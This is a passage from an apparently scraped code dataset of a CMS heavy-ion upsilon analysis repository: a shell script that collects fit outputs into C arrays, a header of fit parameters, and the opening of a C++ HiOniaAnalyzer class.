\"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Centrality/Cent_5_10\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Centrality/Cent_10_20\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Centrality/Cent_20_30\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Centrality/Cent_30_40\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Centrality/Cent_40_50\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Centrality/Cent_50_70\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4_4p5/Centrality/Cent_70_100\"\n)\ntxtDir_aa_4p5_4p5_cent=(\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Centrality/Cent_0_5\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Centrality/Cent_5_10\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Centrality/Cent_10_20\" \n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Centrality/Cent_20_30\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Centrality/Cent_30_40\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Centrality/Cent_40_50\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Centrality/Cent_50_70\"\n \"/Users/nicolas/Project/ups2013/code2015/txtOutput/04-2015/PbPb/pt_4p5_4p5/Centrality/Cent_70_100\"\n)\n\n#aa\naa_1S_3_3_pt=()\naa_1S_3_3p5_pt=()\naa_1S_3_4_pt=()\naa_1S_3_4p5_pt=()\naa_1S_3p5_3p5_pt=()\naa_1S_3p5_4_pt=()\naa_1S_3p5_4p5_pt=()\naa_1S_4_4_pt=()\naa_1S_4_4p5_pt=()\naa_1S_4p5_4p5_pt=()\n\naa_1S_3p5_3p5_rap=()\naa_1S_3p5_4_rap=()\naa_1S_3p5_4p5_rap=()\naa_1S_4_4_rap=()\naa_1S_4_4p5_rap=()\naa_1S_4p5_4p5_rap=()\n\naa_1S_3p5_3p5_cent=()\naa_1S_3p5_4_cent=()\naa_1S_3p5_4p5_cent=()\naa_1S_4_4_cent=()\naa_1S_4_4p5_cent=()\naa_1S_4p5_4p5_cent=()\n#pp\npp_1S_3_3_pt=()\npp_1S_3_3p5_pt=()\npp_1S_3_4_pt=()\npp_1S_3_4p5_pt=()\npp_1S_3p5_3p5_pt=()\npp_1S_3p5_4_pt=()\npp_1S_3p5_4p5_pt=()\npp_1S_4_4_pt=()\npp_1S_4_4p5_pt=()\npp_1S_4p5_4p5_pt=()\n\npp_1S_3p5_3p5_rap=()\npp_1S_3p5_4_rap=()\npp_1S_3p5_4p5_rap=()\npp_1S_4_4_rap=()\npp_1S_4_4p5_rap=()\npp_1S_4p5_4p5_rap=()\n##### signif loops\n## aa\n# for i in ${txtDir_aa_3_3_pt[@]}\n# do\n# # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n# aa_1S_3_3_pt+=(`cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'`)\n# done\n# ( IFS=,; echo \"float aa_1S_3_3_pt[nPtBins_2014] = {${aa_1S_3_3_pt[*]}};\")\n# #\n# for i in ${txtDir_aa_3_3p5_pt[@]}\n# do\n# # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n# aa_1S_3_3p5_pt+=(`cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'`)\n# done\n# ( IFS=,; echo \"float aa_1S_3_3p5_pt[nPtBins_2014] = {${aa_1S_3_3p5_pt[*]}};\")\n# #\n# for i in ${txtDir_aa_3_4_pt[@]}\n# do \n# # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n# aa_1S_3_4_pt+=(`cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'`)\n# done\n# ( IFS=,; echo \"float aa_1S_3_4_pt[nPtBins_2014] = {${aa_1S_3_4_pt[*]}};\")\n# #\n# for i in ${txtDir_aa_3_4p5_pt[@]}\n# do\n# # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n# aa_1S_3_4p5_pt+=(`cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'`)\n# done\n# ( IFS=,; echo \"float aa_1S_3_4p5_pt[nPtBins_2014] = {${aa_1S_3_4p5_pt[*]}};\")#\nfor i in ${txtDir_aa_3p5_3p5_pt[@]}\ndo\n # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n aa_1S_3p5_3p5_pt+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_3p5_3p5_pt[nPtBins_2014] = {${aa_1S_3p5_3p5_pt[*]}};\")\n#\nfor i in ${txtDir_aa_3p5_4_pt[@]}\ndo\n # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n aa_1S_3p5_4_pt+=(`cat $i/PbPb*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_3p5_4_pt[nPtBins_2014] = {${aa_1S_3p5_4_pt[*]}};\")\n#\nfor i in ${txtDir_aa_3p5_4p5_pt[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_3p5_4p5_pt+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_3p5_4p5_pt[nPtBins_2014] = {${aa_1S_3p5_4p5_pt[*]}};\")\n#\nfor i in ${txtDir_aa_4_4_pt[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_4_4_pt+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_4_4_pt[nPtBins_2014] = {${aa_1S_4_4_pt[*]}};\")\n#\nfor i in ${txtDir_aa_4_4p5_pt[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_4_4p5_pt+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_4_4p5_pt[nPtBins_2014] = {${aa_1S_4_4p5_pt[*]}};\")\n#\nfor i in ${txtDir_aa_4p5_4p5_pt[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_4p5_4p5_pt+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_4p5_4p5_pt[nPtBins_2014] = {${aa_1S_4p5_4p5_pt[*]}};\")\n## rap\nfor i in ${txtDir_aa_3p5_3p5_rap[@]}\ndo\n # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n aa_1S_3p5_3p5_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_3p5_3p5_rap[nRapBins_2014] = {${aa_1S_3p5_3p5_rap[*]}};\")\n#\nfor i in ${txtDir_aa_3p5_4_rap[@]}\ndo\n # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n aa_1S_3p5_4_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_3p5_4_rap[nRapBins_2014] = {${aa_1S_3p5_4_rap[*]}};\")\n#\nfor i in ${txtDir_aa_3p5_4p5_rap[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_3p5_4p5_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_3p5_4p5_rap[nRapBins_2014] = {${aa_1S_3p5_4p5_rap[*]}};\")\n#\nfor i in ${txtDir_aa_4_4_rap[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_4_4_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_4_4_rap[nRapBins_2014] = {${aa_1S_4_4_rap[*]}};\")\n#\nfor i in ${txtDir_aa_4_4p5_rap[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_4_4p5_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_4_4p5_rap[nRapBins_2014] = {${aa_1S_4_4p5_rap[*]}};\")\n#\nfor i in ${txtDir_aa_4p5_4p5_rap[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_4p5_4p5_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_4p5_4p5_rap[nRapBins_2014] = {${aa_1S_4p5_4p5_rap[*]}};\")\n## CENT\nfor i in ${txtDir_aa_3p5_3p5_cent[@]}\ndo\n # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n aa_1S_3p5_3p5_cent+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_3p5_3p5_cent[nCentBins_2014] = {${aa_1S_3p5_3p5_cent[*]}};\")\n\nfor i in ${txtDir_aa_3p5_4_cent[@]}\ndo\n # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n aa_1S_3p5_4_cent+=(`cat $i/PbPb*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_3p5_4_cent[nCentBins_2014] = {${aa_1S_3p5_4_cent[*]}};\")\n#\nfor i in ${txtDir_aa_3p5_4p5_cent[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_3p5_4p5_cent+=(`cat $i/PbPb*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_3p5_4p5_cent[nCentBins_2014] = {${aa_1S_3p5_4p5_cent[*]}};\")\n#\nfor i in ${txtDir_aa_4_4_cent[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_4_4_cent+=(`cat $i/PbPb*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_4_4_cent[nCentBins_2014] = {${aa_1S_4_4_cent[*]}};\")\n#\nfor i in ${txtDir_aa_4_4p5_cent[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_4_4p5_cent+=(`cat $i/PbPb*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_4_4p5_cent[nCentBins_2014] = {${aa_1S_4_4p5_cent[*]}};\")\n#\nfor i in ${txtDir_aa_4p5_4p5_cent[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n aa_1S_4p5_4p5_cent+=(`cat $i/PbPb*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float aa_1S_4p5_4p5_cent[nCentBins_2014] = {${aa_1S_4p5_4p5_cent[*]}};\")\n## pp\n# for i in ${txtDir_pp_3_3_pt[@]}\n# do\n# # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n# pp_1S_3_3_pt+=(`cat $i/*.txt | awk '{print $21}'`)\n# done\n# ( IFS=,; echo \"float pp_1S_3_3_pt[nPtBins_2014] = {${pp_1S_3_3_pt[*]}};\")\n# #\n# for i in ${txtDir_pp_3_3p5_pt[@]}\n# do\n# # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n# pp_1S_3_3p5_pt+=(`cat $i/*.txt | awk '{print $21}'`)\n# done\n# ( IFS=,; echo \"float pp_1S_3_3p5_pt[nPtBins_2014] = {${pp_1S_3_3p5_pt[*]}};\")\n# #\n# for i in ${txtDir_pp_3_4_pt[@]}\n# do\n# # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n# pp_1S_3_4_pt+=(`cat $i/*.txt | awk '{print $21}'`)\n# done\n# ( IFS=,; echo \"float pp_1S_3_4_pt[nPtBins_2014] = {${pp_1S_3_4_pt[*]}};\")\n# #\n# for i in ${txtDir_pp_3_4p5_pt[@]}\n# do\n# # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n# pp_1S_3_4p5_pt+=(`cat $i/*.txt | awk '{print $21}'`)\n# done\n# ( IFS=,; echo \"float pp_1S_3_4p5_pt[nPtBins_2014] = {${pp_1S_3_4p5_pt[*]}};\")\nfor i in ${txtDir_pp_3p5_3p5_pt[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n pp_1S_3p5_3p5_pt+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_3p5_3p5_pt[nPtBins_2014] = {${pp_1S_3p5_3p5_pt[*]}};\")\n#\nfor i in ${txtDir_pp_3p5_4_pt[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n pp_1S_3p5_4_pt+=(`cat $i/pp*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_3p5_4_pt[nPtBins_2014] = {${pp_1S_3p5_4_pt[*]}};\")\n#\nfor i in ${txtDir_pp_3p5_4p5_pt[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n pp_1S_3p5_4p5_pt+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_3p5_4p5_pt[nPtBins_2014] = {${pp_1S_3p5_4p5_pt[*]}};\")\n#\nfor i in ${txtDir_pp_4_4_pt[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n pp_1S_4_4_pt+=(`cat $i/pp*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_4_4_pt[nPtBins_2014] = {${pp_1S_4_4_pt[*]}};\")\n#\nfor i in ${txtDir_pp_4_4p5_pt[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n pp_1S_4_4p5_pt+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_4_4p5_pt[nPtBins_2014] = {${pp_1S_4_4p5_pt[*]}};\")\n#\nfor i in ${txtDir_pp_4p5_4p5_pt[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n pp_1S_4p5_4p5_pt+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_4p5_4p5_pt[nPtBins_2014] = {${pp_1S_4p5_4p5_pt[*]}};\")\n## rap\nfor i in ${txtDir_pp_3p5_3p5_rap[@]}\ndo\n # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n pp_1S_3p5_3p5_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_3p5_3p5_rap[nRapBins_2014] = {${pp_1S_3p5_3p5_rap[*]}};\")\n#\nfor i in ${txtDir_pp_3p5_4_rap[@]}\ndo\n # echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print $21}'\"\n pp_1S_3p5_4_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_3p5_4_rap[nRapBins_2014] = {${pp_1S_3p5_4_rap[*]}};\")\n#\nfor i in ${txtDir_pp_3p5_4p5_rap[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n pp_1S_3p5_4p5_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_3p5_4p5_rap[nRapBins_2014] = {${pp_1S_3p5_4p5_rap[*]}};\")\n#\nfor i in ${txtDir_pp_4_4_rap[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n pp_1S_4_4_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_4_4_rap[nRapBins_2014] = {${pp_1S_4_4_rap[*]}};\")\n#\nfor i in ${txtDir_pp_4_4p5_rap[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n pp_1S_4_4p5_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_4_4p5_rap[nRapBins_2014] = {${pp_1S_4_4p5_rap[*]}};\")\n#\nfor i in ${txtDir_pp_4p5_4p5_rap[@]}\ndo\n# echo \"cat $i/*_1_ref2_mass8p511p5.txt | awk '{print \\$21}'\"\n pp_1S_4p5_4p5_rap+=(`cat $i/*.txt | awk '{print $21}'`)\ndone\n( IFS=,; echo \"float pp_1S_4p5_4p5_rap[nRapBins_2014] = {${pp_1S_4p5_4p5_rap[*]}};\")\n" }, { "alpha_fraction": 0.2613149583339691, "alphanum_fraction": 0.5999255180358887, "avg_line_length": 52.14851379394531, "blob_id": "f6cbbe4819cea3b66fa8576d5c8d3707c1ec14d6", "content_id": "418f958f7fe3f0302ec5e05c48a2227636af9d15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5369, "license_type": "no_license", "max_line_length": 123, "num_lines": 101, "path": "/fitting/dataTable_loose.h", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#define ptBinsDone 10\n#define rapBinsDone 9\n#define centBinsDone 13\ndouble ptBinEdgeMin[ptBinsDone]={0,2.5,5,8,12,20,0,6.5,10,0};\ndouble ptBinsEdgeMax[ptBinsDone]={2.5,5,8,12,20,40,6.5,10,20,40};\n\ndouble rapBinEdgeMin[rapBinsDone]={0,0.4,0.8,1.2,1.6,2.0,0.,1.2,0.};\ndouble rapBinsEdgeMax[rapBinsDone]={0.4,0.8,1.2,1.6,2.0,2.4,1.2,2.4,2.4};\n\n\n//for loose muons ----\ndouble npow_ptBins[ptBinsDone] = {11.8655,17.3908,28.6303,7.62408,3.49819,3.07908,24.9602,4.56598,2.4522};\ndouble alpha_ptBins[ptBinsDone]={1.32273,1.31288,1.19791,1.48383,1.34292,1.61413,1.20422,1.5183,1.65063};\ndouble sigma1_ptBins[ptBinsDone]={0.0651892,0.0654127,0.0691783,0.067092,0.0680401,0.0671506,0.06718,0.0679096,0.0670203};\ndouble scale_ptBins[ptBinsDone]={1.76617,1.79801,1.74751,1.71847,1.91258,1.82488,1.79628,1.8293,1.8546};\ndouble pdFrac_ptBins[ptBinsDone]={0.552857,0.56282,0.655152,0.540593,0.679779,0.530953,0.625741,0.611102,0.603875};\n\n\n\n//rap bins\n/* double alpha_rapBins[rapBinsDone]={1.33,1.89,1.63,1.72,1.93,1.40,1.32,1.66,1.65}; */\n/* double sigma1_rapBins[rapBinsDone]={0.044,0.069,0.0769,0.087,0.127,0.144,0.055,0.102,0.067}; */\n/* double scale_rapBins[rapBinsDone]={1.472,2.16,1.41,1.49,2.03,1.22,1.66,1.51,1.85}; */\n/* double npow_rapBins[rapBinsDone]={7.43,1.44,3.048,8.799,2.51,36.89,13.44,11.87,2.45}; */\n/* double pdFrac_rapBins[rapBinsDone]={0.44,0.96,0.56,0.51,0.99,0.69,0.58,0.65,0.60}; */\n//for loose muons ----\ndouble npow_rapBins[rapBinsDone] = {2.26441,12.8449,50.235,12.8061,6.64542,5.90013,5.34804,2.04385,2.4522};\ndouble alpha_rapBins[rapBinsDone]={1.69452,1.34594,1.31042,1.28294,1.59589,1.61953,1.46708,1.80478,1.65063};\ndouble sigma1_rapBins[rapBinsDone]={0.0498658,0.0557315,0.0708797,0.083704,0.126766,0.14836,0.0544835,0.110105,0.0670203};\ndouble scale_rapBins[rapBinsDone]={1.5148,1.4512,1.52786,1.49211,1,1.15372,1.63933,1.64216,1.8546};\ndouble pdFrac_rapBins[rapBinsDone]={0.683874,0.444743,0.493526,0.487452,0.99877,0.775252,0.494356,0.832012,0.603875};\n\n/* double alpha_MB3p5=1.65; */\n/* double npow_MB3p5=2.45; */\n/* double sigma1_MB3p5=0.067; */\n/* double scale_MB3p5=1.85; */\n/* double pdFrac_MB3p5=0.60; */\n\n/* double alpha_MB4=1.55; */\n/* double npow_MB4=4.65; */\n/* double sigma1_MB4=0.065; */\n/* double scale_MB4=1.83; */\n/* double pdFrac_MB4=0.58; */\n\n/* Bin & n$_{CB}$ & $\\alpha_{CB}$ & $\\sigma_{1}$(MeV) & $x$ (scale) & $f$ (norm) \\\\ */\n/* \\hline */\n/* 11.8655 & 1.32273 & 0.0651892 & 1.76617 & 0.552857 \\\\ */\n/* 17.3908 & 1.31288 & 0.0654127 & 1.79801 & 0.56282 \\\\ */\n/* 28.6303 & 1.19791 & 0.0691783 & 1.74751 & 0.655152 \\\\ */\n/* 21.3489 & 1.4183 & 0.0675906 & 1.66454 & 0.541865 \\\\ */\n/* 40.2866 & 1.16514 & 0.0679808 & 1.82434 & 0.661521 \\\\ */\n\n/* 26.9085 & 1.23173 & 0.0663134 & 1.85312 & 0.561308 \\\\ */\n\n/* 28.3087 & 1.28079 & 0.0662253 & 1.8338 & 0.619117\\\\ */\n/* 25.0396 & 1.25749 & 0.0664975 & 1.86022 & 0.637619 \\\\ */\n/* 3.09223 & 1.60523 & 0.0706083 & 1.58852 & 0.57504 \\\\ */\n\n/* pt3p5 2.4522 & 1.65063 & 0.0670203 & 1.8546 & 0.603875 \\\\ */\n/* -------------------------------------------------------------------- */\n/* 7.43317 & 1.33941 & 0.044515 & 1.47231 & 0.448933 \\\\ */\n/* 1.44959 & 1.89549 & 0.0694212 & 2.16025 & 0.964385 \\\\ */\n/* 3.04847 & 1.6317 & 0.0769274 & 1.41065 & 0.559068 \\\\ */\n/* 8.79913 & 1.72586 & 0.0871425 & 1.49667 & 0.512059 \\\\ */\n/* 2.51221 & 1.93032 & 0.127293 & 2.03325 & 0.991352 \\\\ */\n/* 36.8961 & 1.4088 & 0.144839 & 1.22359 & 0.69829 \\\\ */\n \n/* 13.4437 & 1.3236 & 0.0556029 & 1.66244 & 0.57749 \\\\ */\n/* 11.8737 & 1.66783 & 0.102053 & 1.51504 & 0.647893 \\\\ */\n\n/* pt4 4.65145 & 1.55936 & 0.0655685 & 1.83726 & 0.582259 \\\\ */\n \n\t\t //pt mass dep\ndouble massPtFits[5]={9.45567,9.45811,9.45549,9.45426,9.45679};//first bins\ndouble massPtFitse[5]={0.0006,0.0006,0.00060,0.00045,0.00038};//error\ndouble massRapFits[6]={9.45896,9.4578,9.45442,9.4480,9.44186,9.4386};//first bins\ndouble massRapFitse[6]={0.00025,0.00030,0.00041,0.00052,0.00073,0.0019};//error\n//errors on MC pars, vs pt\ndouble sigma1_ptBinse[5]={0.0013,0.0014,0.0013,0.00098,0.00086};\ndouble alpha_ptBinse[5]={0.056,0.060,0.074,0.050,0.048};\ndouble scale_ptBinse[5]={0.03,0.0014,0.0013,0.024,0.021};\ndouble pdFrac_ptBinse[5]={0.027,0.028,0.027,0.022,0.019};\ndouble npow_ptBinse[5]={2.2,1.6,0.76,0.37,0.33};\n//errors on MC pars, vs rap\ndouble sigma1_rapBinse[6]={0.00053,0.00072,0.0015,0.0022,0.005,0.015};\ndouble alpha_rapBinse[6]={0.035,0.041,0.050,0.068,0.14,0.37};\ndouble scale_rapBinse[6]={0.046,0.051,0.052,0.096,0.10,0.079};\ndouble pdFrac_rapBinse[6]={0.018,0.024,0.050,0.061,0.14,0.23};\ndouble npow_rapBinse[6]={0.075,0.11,0.26,0.58,1.1,3.};//wow\n /* //pt bins */\n /* double sigma1_ptBins[ptBinsDone]={}; */\n /* douu\n /* double npow_ptBins[ptBinsDone]={}; */\n /* double alpha_ptBins[ptBinsDone]={}; */\n /* double pdFrac_ptBins[ptBinsDone]={}; */\n /* //rap bins */\n /* double sigma1_rapBins[rapBinsDone]={}; */\n /* double scale_rapBins[rapBinsDone]={}; */\n /* double npow_rapBins[rapBinsDone]={}; */\n /* double alpha_rapBins[rapBinsDone]={}; */\n /* double pdFrac_ptBins[rapBinsDone]={}; */\n\n" }, { "alpha_fraction": 0.6333036422729492, "alphanum_fraction": 0.6478514075279236, "avg_line_length": 37.594913482666016, "blob_id": "dd0161ca193f3b52b224284d511619c8623ddfe2", "content_id": "30a433c1c6789145c2229ae7225d5791df167bf9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 81937, "license_type": "no_license", "max_line_length": 219, "num_lines": 2123, "path": "/HiOniaAnalyzer_20140210.cc", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "// -*- C++ -*-\n//\n// Package: HiOniaAnalyzer\n// Class: HiOniaAnalyzer\n// \n/**\\class HiOniaAnalyzer HiOniaAnalyzer.cc UserCode/tdahms/HiAnalysis/HiOnia/plugins/HiOniaAnalyzer.cc\n\n Description: [one line class summary]\n\n Implementation:\n [Notes on implementation]\n*/\n//\n// Original Author: Torsten Dahms,40 4-A32,+41227671635,\n// Created: Mon Nov 29 03:13:35 CET 2010\n// $Id: HiOniaAnalyzer.cc,v 1.23.2.24 2013/06/25 16:44:15 tdahms Exp $\n//\n//\n\n\n// system include files\n#include <memory>\n#include <iostream>\n#include <string>\n#include <sstream>\n#include <vector>\n#include <utility>\n\n#include <TTree.h>\n#include <TLorentzVector.h>\n#include <TClonesArray.h>\n\n// user include files\n#include \"FWCore/Framework/interface/Frameworkfwd.h\"\n#include \"FWCore/Framework/interface/EDAnalyzer.h\"\n\n#include \"FWCore/Framework/interface/Event.h\"\n#include \"FWCore/Framework/interface/MakerMacros.h\"\n\n#include \"FWCore/ParameterSet/interface/ParameterSet.h\"\n\n#include \"DataFormats/PatCandidates/interface/Muon.h\"\n#include \"DataFormats/PatCandidates/interface/CompositeCandidate.h\"\n#include \"DataFormats/Common/interface/TriggerResults.h\"\n#include \"DataFormats/VertexReco/interface/Vertex.h\"\n#include \"DataFormats/VertexReco/interface/VertexFwd.h\"\n#include \"DataFormats/BeamSpot/interface/BeamSpot.h\"\n#include \"DataFormats/TrackReco/interface/Track.h\"\n#include \"DataFormats/TrackReco/interface/TrackFwd.h\"\n\n#include \"HLTrigger/HLTcore/interface/HLTConfigProvider.h\"\n\n#include \"DataFormats/HeavyIonEvent/interface/CentralityProvider.h\"\n\n#include \"HiAnalysis/HiOnia/interface/MyCommonHistoManager.h\"\n\n// adding Event Plane by dmoon \n#include \"DataFormats/HeavyIonEvent/interface/EvtPlane.h\"\n\n// delta R\n#include \"DataFormats/Math/interface/deltaR.h\"\n\n//\n// class declaration\n//\n\nclass HiOniaAnalyzer : public edm::EDAnalyzer {\npublic:\n explicit HiOniaAnalyzer(const edm::ParameterSet&);\n ~HiOniaAnalyzer();\n \n \nprivate:\n virtual void beginJob() ;\n virtual void analyze(const edm::Event&, const edm::EventSetup&);\n virtual void endJob() ;\n \n \n void InitEvent();\n void InitTree();\n\n void makeCuts(int sign) ;\n bool checkCuts(const pat::CompositeCandidate* cand, const pat::Muon* muon1, const pat::Muon* muon2, bool(HiOniaAnalyzer::* callFunc1)(const pat::Muon*), bool(HiOniaAnalyzer::* callFunc2)(const pat::Muon*)); \n\n void fillGenInfo();\n bool isAbHadron(int pdgID);\n bool isAMixedbHadron(int pdgID, int momPdgID);\n std::pair< int, float > findGenMCInfo(const reco::GenParticle *genJpsi);\n \n void fillRecoMuons(int theCentralityBin);\n bool isMuonInAccept(const pat::Muon* aMuon);\n\n void fillRecoTracks();\n\n pair< unsigned int, const pat::CompositeCandidate* > theBestQQ(int sign);\n double CorrectMass(const reco::Muon& mu1,const reco::Muon& mu2, int mode);\n\n bool selGlobalMuon(const pat::Muon* aMuon);\n bool selTrackerMuon(const pat::Muon* aMuon);\n\n void fillRecoHistos(int lastSign);\n void fillRecoJpsi(int iSign, int count, std::string trigName, std::string centName);\n void fillHistosAndDS(unsigned int theCat, const pat::CompositeCandidate* aJpsiCand);\n\n void fillTreeMuon(const pat::Muon* muon, int iType, int trigBits);\n void fillTreeJpsi(int iSign, int count);\n\n void checkTriggers(const pat::CompositeCandidate* aJpsiCand);\n void hltReport(const edm::Event &iEvent ,const edm::EventSetup& iSetup);\n\n void beginRun(const edm::Run &, const edm::EventSetup &); \n\n TLorentzVector lorentzMomentum(const reco::Candidate::LorentzVector& p);\n // ----------member data ---------------------------\n enum StatBins {\n BIN_nEvents = 0\n };\n\n enum dimuonCategories {\n GlbGlb = 0,\n GlbTrk = 1,\n TrkTrk = 2,\n GlbCal = 3,\n TrkCal = 4,\n CalCal = 5\n };\n\n std::vector<std::string> theRegions;\n std::vector<std::string> theCentralities;\n std::vector<std::string> theTriggerNames;\n std::vector<std::string> theSign;\n\n HLTConfigProvider hltConfig;\n bool hltConfigInit;\n\n float etaMin;\n float etaMax;\n\n // TFile\n TFile* fOut;\n\n // TTree\n TTree* myTree;\n\n TClonesArray* Reco_mu_4mom;\n TClonesArray* Reco_mu_3vec;\n TClonesArray* 